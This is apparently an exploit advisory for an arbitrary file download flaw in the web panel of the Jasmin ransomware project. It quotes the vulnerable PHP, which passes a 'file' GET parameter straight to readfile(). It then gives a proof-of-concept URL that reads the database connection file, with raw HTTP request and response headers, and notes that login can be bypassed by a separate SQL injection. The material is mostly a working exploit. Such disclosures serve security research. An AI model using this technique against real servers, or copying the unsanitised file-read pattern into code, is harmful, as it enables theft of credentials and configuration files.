Jasmin Ransomware – Arbitrary File Download (Authenticated)
# Exploit Title: Jasmin Ransomware - (Authenticated) Arbitrary File Download # Google Dork: N/A # Date: 22-03-2025 # Exploit Author: bRpsd cy[at]live.no # Vendor Homepage: https://github.com/codesiddhant/Jasmin-Ransomware # Software Link: https://github.com/codesiddhant/Jasmin-Ransomware # Version: N/A # Tested on: MacOS local xampp Authentication can be easily bypassed due to SQL Injection as mentioned in: https://www.exploit-db.com/exploits/52091 Vulnerable file:Web Panel/download_file.php Vulnerable parameter:file Vulnerable code: <?php session_start(); if(!isset($_SESSION['username']) ){ header("Location: login.php"); } $file=$_GET['file']; if(!empty($file)){ // Define headers header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Disposition: attachment; filename=$file"); header("Content-Type: text/encoded"); header("Content-Transfer-Encoding: binary"); // Read the file readfile($file); exit; }else{ echo 'The file does not exist.'; } ?> Proof of concept: http://localhost/Jasmin-Ransomware/Web Panel/download_file.php?file=database/db_conection.php Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Cookie: PHPSESSID=88e519f73f9013f560ed3f0514015d8c Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 GET: HTTP/1.1 200 OK Date: Sat, 22 Mar 2025 09:42:09 GMT Server: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1 X-Powered-By: PHP/7.4.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: public Pragma: no-cache Content-Description: File Transfer Content-Disposition: attachment; filename=database/db_conection.php Content-Transfer-Encoding: binary Content-Length: 95 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/encoded;charset=UTF-8 |